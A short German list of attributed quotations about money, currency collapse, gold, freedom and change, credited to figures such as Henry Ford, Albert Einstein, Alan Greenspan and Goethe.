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• „Der Verfall seiner Währung ist wohl das größte Unglück, das ein Volk treffen kann. Selbst ein verlorener Krieg bringt ihm nicht so einen schweren Schaden wie der Ruin des Geldwesens.“ (Argentarius, „Vom Gelde“)
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• „Würden die Menschen verstehen, wie unser Geldsystem funktioniert, hätten wir eine Revolution – und zwar schon morgen früh.“ (Henry Ford)
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• „Die Freiheit besteht in erster Linie nicht aus Privilegien, sondern aus Pflichten.“ (Albert Camus)
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• „Probleme kann man niemals mit derselben Denkweise lösen, durch die sie entstanden sind.“ (Albert Einstein)
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• „Gold repräsentiert immer noch die höchste Zahlungsform der Welt. (…) Papiergeld wird, in extremis, von niemand entgegengenommen. – Gold dagegen wird immer angenommen.“ (Alan Greenspan)
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• „Wenn wir bewahren wollen, was wir haben, müssen wir vieles ändern.“ (Johann Wolfgang Goethe)